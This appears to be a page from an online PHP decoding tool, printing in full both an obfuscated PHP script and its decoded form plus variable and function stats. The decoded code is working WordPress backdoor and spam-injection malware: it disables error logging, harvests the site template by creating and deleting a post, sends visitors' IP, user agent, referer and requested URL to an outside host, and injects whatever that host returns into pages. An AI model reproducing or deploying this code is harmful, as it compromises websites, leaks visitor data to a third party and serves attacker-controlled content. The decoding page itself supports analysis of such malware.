Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php ${"G\x4c\x4f\x42\x41LS"}["\x65\x75\x70g\x63m\x75\x78\x69\x68f\x70"]="\x61l\x6cd\x61\..

Decoded Output download

<?php ${"GLOBALS"}["eupgcmuxihfp"]="alldata";${"GLOBALS"}["jiduwsxkvb"]="content";${"GLOBALS"}["cufiksfl"]="URL";${"GLOBALS"}["bymvfhwotfc"]="R";${"GLOBALS"}["vexwohfaulsk"]="tmp";${"GLOBALS"}["vhirnofa"]="post_id";$lqqdrjf="U";${"GLOBALS"}["kqejfo"]="permalink";${"GLOBALS"}["xjnjep"]="data";${"GLOBALS"}["doilygaebhz"]="url";${"GLOBALS"}["yixfxxbwvvr"]="ch";${"GLOBALS"}["cebedhnpbge"]="sub";@ini_set("error_log",NULL);$tjqqbw="alldata";@ini_set("log_errors",0);${"GLOBALS"}["cphdzbop"]="R";$pddqorji="A";@ini_set("max_execution_time",0);@error_reporting(0);@set_time_limit(0);$udzfcnosmif="U";${${"GLOBALS"}["cebedhnpbge"]}="5";${"GLOBALS"}["mwpjkgppy"]="UA";if(ini_get("allow_url_fopen")){function gets_data_yo($url){$jucxwwginnyc="url";$ucazcowbpxj="data";$jluxrg="data";${$ucazcowbpxj}=file_get_contents(${$jucxwwginnyc});return${$jluxrg};}}else{function gets_data_yo($url){${"GLOBALS"}["kxicuyupcsp"]="ch";$wcmcxke="ch";${${"GLOBALS"}["yixfxxbwvvr"]}=curl_init();$buvwwxwmf="data";curl_setopt(${${"GLOBALS"}["kxicuyupcsp"]},CURLOPT_HEADER,0);curl_setopt(${$wcmcxke},CURLOPT_RETURNTRANSFER,1);curl_setopt(${${"GLOBALS"}["yixfxxbwvvr"]},CURLOPT_URL,${${"GLOBALS"}["doilygaebhz"]});curl_setopt(${${"GLOBALS"}["yixfxxbwvvr"]},CURLOPT_CONNECTTIMEOUT,8);${$buvwwxwmf}=curl_exec(${${"GLOBALS"}["yixfxxbwvvr"]});curl_close(${${"GLOBALS"}["yixfxxbwvvr"]});return${${"GLOBALS"}["xjnjep"]};}}if(isset($_GET["gettemp"])){$senbiymlzh="post_data";${"GLOBALS"}["rkyrtpqj"]="post_data";${$senbiymlzh}=array("post_title"=>"HEREISTITLE","post_name"=>"59075".rand(100000000,900000000),"post_content"=>"HEREISCONTENT","post_status"=>"publish","post_category"=>array());${"GLOBALS"}["iviylyo"]="post_id";${"GLOBALS"}["bgmwxtb"]="permalink";${"GLOBALS"}["xoeqqlmhcyj"]="post_id";${"GLOBALS"}["dkgvuxreo"]="post_id";${${"GLOBALS"}["xoeqqlmhcyj"]}=wp_insert_post(${${"GLOBALS"}["rkyrtpqj"]},true);${"GLOBALS"}["qlhjwd"]="wppage";$rdcyldiwly="wppage";${${"GLOBALS"}["kqejfo"]}=get_permalink(${${"GLOBALS"}["iviylyo"]});$ifrsgstcdgn="testpermalink";${"GLOBALS"}["nrglnvqus"]="wppage";$xmvhcxc="wppage";${$ifrsgstcdgn}=explode("/",${${"GLOBALS"}["kqejfo"]});${${"GLOBALS"}["nrglnvqus"]}=gets_data_yo(${${"GLOBALS"}["bgmwxtb"]});${$rdcyldiwly}=str_ireplace(${${"GLOBALS"}["kqejfo"]},"#",${$xmvhcxc});if(!wp_delete_post(${${"GLOBALS"}["dkgvuxreo"]},true)){wp_delete_post(${${"GLOBALS"}["vhirnofa"]},true);}die("<TEMPLATE>".base64_encode(base64_encode(${${"GLOBALS"}["qlhjwd"]}))."</TEMPLATE>");}${$lqqdrjf}=$_SERVER["REQUEST_URI"];${${"GLOBALS"}["cphdzbop"]}=urlencode(@$_SERVER["HTTP_REFERER"]);if(!empty($_SERVER["HTTP_USER_AGENT"])){$xuyotfrht="UA";${$xuyotfrht}=$_SERVER["HTTP_USER_AGENT"];}else{$nemcmsx="UA";${$nemcmsx}="";}$iybqpyiyclp="U";if(isset($_SERVER["HTTP_X_FORWARDED_FOR"])){$rljyofsvri="A";${${"GLOBALS"}["vexwohfaulsk"]}=explode(",",$_SERVER["HTTP_X_FORWARDED_FOR"]);${$rljyofsvri}=trim(${${"GLOBALS"}["vexwohfaulsk"]}[0]);}else{${"GLOBALS"}["rixtotu"]="A";${${"GLOBALS"}["rixtotu"]}=$_SERVER["REMOTE_ADDR"];}${$tjqqbw}=${${"GLOBALS"}["mwpjkgppy"]}."|||".$_SERVER["HTTP_HOST"]."|||".${$pddqorji}."|||".${${"GLOBALS"}["bymvfhwotfc"]}."|||".${$iybqpyiyclp}."|||".${${"GLOBALS"}["cebedhnpbge"]};if(!preg_match("/59075/",${$udzfcnosmif})){${"GLOBALS"}["mbsbtrk"]="U";if(preg_match("/work|essay|blog|id|topic|viewtopic|course|colleges|learn|page|forum/",${${"GLOBALS"}["mbsbtrk"]})){${"GLOBALS"}["xuwokprbuvl"]="sub";$jjawsma="alldata";${"GLOBALS"}["sjxvppg"]="alldata";${"GLOBALS"}["xnyfyw"]="content";${${"GLOBALS"}["cufiksfl"]}="http://indinvisible.com/".${${"GLOBALS"}["xuwokprbuvl"]}."/index.php?";${${"GLOBALS"}["sjxvppg"]}=gets_data_yo(${${"GLOBALS"}["cufiksfl"]}."x=".base64_encode(base64_encode(${$jjawsma})));${${"GLOBALS"}["jiduwsxkvb"]}=explode("-=+==============+=-",${${"GLOBALS"}["eupgcmuxihfp"]});if(!empty(${${"GLOBALS"}["xnyfyw"]}[1])){${"GLOBALS"}["otpkqu"]="content";die(${${"GLOBALS"}["otpkqu"]}[1]);}}} ?>

Did this file decode correctly?

Original Code

<?php ${"G\x4c\x4f\x42\x41LS"}["\x65\x75\x70g\x63m\x75\x78\x69\x68f\x70"]="\x61l\x6cd\x61\x74\x61";${"\x47\x4cO\x42\x41LS"}["jid\x75\x77s\x78\x6bv\x62"]="\x63o\x6etent";${"\x47\x4c\x4f\x42\x41\x4cS"}["\x63uf\x69\x6b\x73f\x6c"]="U\x52L";${"\x47LO\x42A\x4c\x53"}["\x62y\x6d\x76\x66h\x77\x6ft\x66\x63"]="\x52";${"\x47L\x4f\x42\x41\x4c\x53"}["\x76e\x78w\x6f\x68\x66\x61\x75ls\x6b"]="tm\x70";${"G\x4c\x4f\x42A\x4c\x53"}["\x76\x68\x69r\x6e\x6f\x66\x61"]="pos\x74_\x69\x64";$lqqdrjf="\x55";${"\x47\x4c\x4fB\x41\x4c\x53"}["\x6b\x71ej\x66\x6f"]="\x70er\x6da\x6ci\x6ek";${"G\x4cOB\x41L\x53"}["x\x6anj\x65p"]="\x64\x61\x74\x61";${"\x47L\x4f\x42\x41\x4cS"}["\x64o\x69lyga\x65b\x68\x7a"]="\x75\x72\x6c";${"\x47\x4c\x4fB\x41LS"}["\x79\x69x\x66x\x78\x62\x77\x76v\x72"]="\x63\x68";${"GL\x4fB\x41L\x53"}["\x63eb\x65d\x68\x6e\x70\x62ge"]="s\x75b";@ini_set("\x65\x72\x72o\x72_\x6c\x6f\x67",NULL);$tjqqbw="\x61\x6c\x6cd\x61\x74\x61";@ini_set("l\x6fg_\x65r\x72o\x72s",0);${"G\x4c\x4f\x42\x41\x4c\x53"}["\x63ph\x64\x7ab\x6fp"]="\x52";$pddqorji="A";@ini_set("\x6da\x78_ex\x65cuti\x6f\x6e_\x74\x69m\x65",0);@error_reporting(0);@set_time_limit(0);$udzfcnosmif="\x55";${${"\x47LOB\x41\x4c\x53"}["\x63\x65be\x64\x68np\x62\x67\x65"]}="5";${"\x47\x4c\x4f\x42\x41L\x53"}["mw\x70j\x6b\x67\x70p\x79"]="\x55\x41";if(ini_get("\x61\x6c\x6c\x6fw\x5f\x75\x72l\x5ff\x6fpe\x6e")){function gets_data_yo($url){$jucxwwginnyc="\x75\x72\x6c";$ucazcowbpxj="\x64a\x74\x61";$jluxrg="\x64\x61t\x61";${$ucazcowbpxj}=file_get_contents(${$jucxwwginnyc});return${$jluxrg};}}else{function gets_data_yo($url){${"G\x4c\x4fB\x41\x4c\x53"}["kx\x69\x63\x75\x79\x75\x70\x63s\x70"]="\x63\x68";$wcmcxke="\x63\x68";${${"G\x4c\x4f\x42\x41LS"}["\x79i\x78\x66\x78\x78bw\x76\x76r"]}=curl_init();$buvwwxwmf="\x64\x61t\x61";curl_setopt(${${"\x47L\x4f\x42\x41\x4c\x53"}["\x6b\x78\x69\x63\x75\x79\x75p\x63\x73\x70"]},CURLOPT_HEADER,0);curl_setopt(${$wcmcxke},CURLOPT_RETURNTRANSFER,1);curl_setopt(${${"GLO\x42\x41\x4c\x53"}["yi\x78\x66\x78\x78\x62\x77vv\x72"]},CURLOPT_URL,${${"GL\x4f\x42A\x4c\x53"}["\x64o\x69\x6c\x79\x67\x61\x65\x62\x68\x7a"]});curl_setopt(${${"G\x4c\x4fB\x41\x4c\x53"}["y\x69\x78\x66\x78\x78\x62\x77vv\x72"]},CURLOPT_CONNECTTIMEOUT,8);${$buvwwxwmf}=curl_exec(${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x79\x69\x78\x66x\x78\x62\x77\x76v\x72"]});curl_close(${${"\x47\x4c\x4fBA\x4c\x53"}["yi\x78f\x78x\x62\x77\x76v\x72"]});return${${"\x47\x4c\x4f\x42\x41\x4cS"}["xj\x6e\x6a\x65\x70"]};}}if(isset($_GET["g\x65\x74tem\x70"])){$senbiymlzh="\x70\x6f\x73\x74\x5f\x64a\x74a";${"G\x4c\x4f\x42A\x4cS"}["\x72\x6b\x79rt\x70\x71\x6a"]="\x70\x6f\x73t\x5fda\x74a";${$senbiymlzh}=array("\x70\x6f\x73t_\x74\x69\x74l\x65"=>"HEREI\x53\x54I\x54L\x45","\x70\x6f\x73t_na\x6d\x65"=>"5\x3907\x35".rand(100000000,900000000),"post\x5fc\x6f\x6e\x74e\x6e\x74"=>"HE\x52\x45I\x53C\x4f\x4eT\x45\x4eT","po\x73t_\x73\x74atus"=>"pu\x62\x6c\x69\x73h","\x70os\x74_\x63\x61\x74\x65\x67o\x72y"=>array());${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x69v\x69\x79ly\x6f"]="po\x73\x74_\x69\x64";${"G\x4cOB\x41L\x53"}["\x62g\x6dw\x78\x74\x62"]="p\x65r\x6d\x61\x6c\x69\x6ek";${"G\x4c\x4f\x42\x41\x4cS"}["\x78\x6f\x65qql\x6dh\x63\x79\x6a"]="\x70o\x73\x74_\x69\x64";${"\x47L\x4fBA\x4c\x53"}["\x64\x6b\x67\x76\x75\x78\x72e\x6f"]="\x70o\x73t\x5f\x69d";${${"\x47\x4cO\x42A\x4cS"}["\x78\x6fe\x71\x71l\x6d\x68c\x79\x6a"]}=wp_insert_post(${${"G\x4c\x4f\x42\x41\x4c\x53"}["\x72\x6b\x79\x72t\x70\x71\x6a"]},true);${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x71\x6chjw\x64"]="\x77p\x70\x61\x67\x65";$rdcyldiwly="\x77\x70\x70\x61ge";${${"G\x4c\x4f\x42\x41\x4cS"}["kq\x65jf\x6f"]}=get_permalink(${${"G\x4c\x4f\x42\x41\x4c\x53"}["\x69\x76iy\x6c\x79o"]});$ifrsgstcdgn="\x74e\x73\x74\x70e\x72m\x61\x6c\x69n\x6b";${"\x47\x4cO\x42\x41\x4c\x53"}["\x6e\x72\x67\x6cn\x76\x71\x75\x73"]="\x77\x70\x70a\x67\x65";$xmvhcxc="w\x70page";${$ifrsgstcdgn}=explode("/",${${"GL\x4f\x42\x41\x4cS"}["\x6b\x71e\x6a\x66o"]});${${"\x47\x4c\x4f\x42A\x4c\x53"}["\x6e\x72\x67ln\x76\x71\x75\x73"]}=gets_data_yo(${${"GLO\x42A\x4c\x53"}["\x62\x67m\x77\x78tb"]});${$rdcyldiwly}=str_ireplace(${${"\x47\x4c\x4fBA\x4c\x53"}["k\x71\x65j\x66o"]},"\x23",${$xmvhcxc});if(!wp_delete_post(${${"\x47\x4c\x4f\x42\x41LS"}["d\x6b\x67\x76\x75\x78r\x65\x6f"]},true)){wp_delete_post(${${"\x47\x4c\x4fBA\x4c\x53"}["\x76\x68i\x72\x6e\x6f\x66a"]},true);}die("\x3c\x54\x45\x4d\x50L\x41\x54E\x3e".base64_encode(base64_encode(${${"\x47\x4cO\x42\x41\x4c\x53"}["\x71\x6ch\x6aw\x64"]}))."</\x54E\x4d\x50\x4c\x41T\x45>");}${$lqqdrjf}=$_SERVER["RE\x51UE\x53T_U\x52I"];${${"\x47\x4c\x4fB\x41\x4c\x53"}["c\x70hdz\x62o\x70"]}=urlencode(@$_SERVER["HT\x54P\x5fR\x45\x46ER\x45\x52"]);if(!empty($_SERVER["HT\x54P_US\x45\x52\x5f\x41\x47\x45\x4eT"])){$xuyotfrht="U\x41";${$xuyotfrht}=$_SERVER["\x48TT\x50\x5f\x55SE\x52\x5fA\x47EN\x54"];}else{$nemcmsx="\x55A";${$nemcmsx}="";}$iybqpyiyclp="\x55";if(isset($_SERVER["\x48\x54\x54\x50_X_F\x4fRWARD\x45D_F\x4f\x52"])){$rljyofsvri="A";${${"G\x4c\x4f\x42A\x4cS"}["v\x65\x78\x77\x6f\x68\x66aul\x73\x6b"]}=explode(",",$_SERVER["\x48T\x54\x50_\x58_\x46OR\x57A\x52\x44\x45D_\x46O\x52"]);${$rljyofsvri}=trim(${${"\x47\x4cO\x42AL\x53"}["\x76e\x78\x77o\x68\x66au\x6c\x73\x6b"]}[0]);}else{${"\x47\x4cO\x42A\x4c\x53"}["ri\x78\x74o\x74u"]="\x41";${${"\x47L\x4fB\x41\x4c\x53"}["\x72i\x78totu"]}=$_SERVER["\x52EMOT\x45\x5fADDR"];}${$tjqqbw}=${${"G\x4c\x4f\x42\x41\x4cS"}["\x6dwp\x6a\x6b\x67\x70p\x79"]}."|||".$_SERVER["HTT\x50\x5fH\x4f\x53\x54"]."|||".${$pddqorji}."|||".${${"\x47\x4c\x4fB\x41LS"}["\x62\x79\x6d\x76fhwo\x74\x66\x63"]}."|||".${$iybqpyiyclp}."|||".${${"G\x4c\x4f\x42\x41LS"}["\x63\x65\x62\x65d\x68\x6e\x70b\x67e"]};if(!preg_match("/\x359075/",${$udzfcnosmif})){${"G\x4c\x4f\x42\x41\x4cS"}["\x6d\x62\x73\x62\x74\x72\x6b"]="\x55";if(preg_match("/w\x6f\x72k|e\x73s\x61\x79|\x62l\x6f\x67|id|\x74\x6fp\x69\x63|v\x69\x65w\x74\x6fpic|\x63\x6fur\x73\x65|coll\x65\x67\x65\x73|l\x65\x61\x72\x6e|page|for\x75\x6d/",${${"\x47\x4cO\x42\x41\x4cS"}["\x6d\x62\x73btrk"]})){${"\x47\x4c\x4f\x42\x41L\x53"}["\x78\x75\x77\x6fkpr\x62\x75\x76\x6c"]="\x73\x75b";$jjawsma="\x61l\x6c\x64a\x74\x61";${"G\x4c\x4fBA\x4c\x53"}["\x73\x6a\x78v\x70pg"]="a\x6c\x6c\x64\x61t\x61";${"\x47\x4cO\x42\x41\x4c\x53"}["\x78\x6ey\x66\x79w"]="c\x6f\x6e\x74e\x6e\x74";${${"G\x4c\x4f\x42A\x4c\x53"}["c\x75\x66\x69\x6b\x73f\x6c"]}="h\x74\x74\x70://indi\x6evi\x73\x69b\x6ce.co\x6d/".${${"\x47\x4c\x4f\x42\x41\x4cS"}["\x78u\x77\x6f\x6b\x70r\x62\x75\x76\x6c"]}."/\x69n\x64e\x78.\x70h\x70?";${${"\x47\x4cO\x42A\x4c\x53"}["s\x6ax\x76ppg"]}=gets_data_yo(${${"\x47\x4cOBALS"}["\x63\x75\x66\x69\x6b\x73\x66l"]}."x\x3d".base64_encode(base64_encode(${$jjawsma})));${${"\x47\x4c\x4fB\x41L\x53"}["j\x69\x64\x75\x77\x73x\x6b\x76b"]}=explode("-\x3d+=\x3d\x3d====\x3d\x3d=\x3d\x3d==+\x3d-",${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x65\x75\x70gc\x6d\x75\x78\x69\x68\x66\x70"]});if(!empty(${${"\x47LO\x42\x41\x4c\x53"}["\x78n\x79\x66y\x77"]}[1])){${"\x47L\x4fBAL\x53"}["\x6f\x74\x70\x6b\x71u"]="\x63\x6f\x6e\x74\x65\x6et";die(${${"\x47L\x4f\x42\x41L\x53"}["ot\x70kq\x75"]}[1]);}}}

Function Calls

ini_get 1
ini_set 3
set_time_limit 1
error_reporting 1

Variables

sub 5
$tjqqbw alldata
GLOBALS [{'key': 'eupgcmuxihfp', 'value': 'alldata'}, {'key': 'jiduwsxkvb', 'value': 'content'}, {'key': 'cufiksfl', 'value': 'URL'}, {'key': 'bymvfhwotfc', 'value': 'R'}, {'key': 'vexwohfaulsk', 'value': 'tmp'}, {'key': 'vhirnofa', 'value': 'post_id'}, {'key': 'kqejfo', 'value': 'permalink'}, {'key': 'xjnjep', 'value': 'data'}, {'key': 'doilygaebhz', 'value': 'url'}, {'key': 'yixfxxbwvvr', 'value': 'ch'}, {'key': 'cebedhnpbge', 'value': 'sub'}, {'key': 'cphdzbop', 'value': 'R'}, {'key': 'mwpjkgppy', 'value': 'UA'}]
$lqqdrjf U
$pddqorji A
$udzfcnosmif U

Stats

MD5 2e3f72d7d372cd2787aa2acf0bca35ad
Eval Count 0
Decode Time 110 ms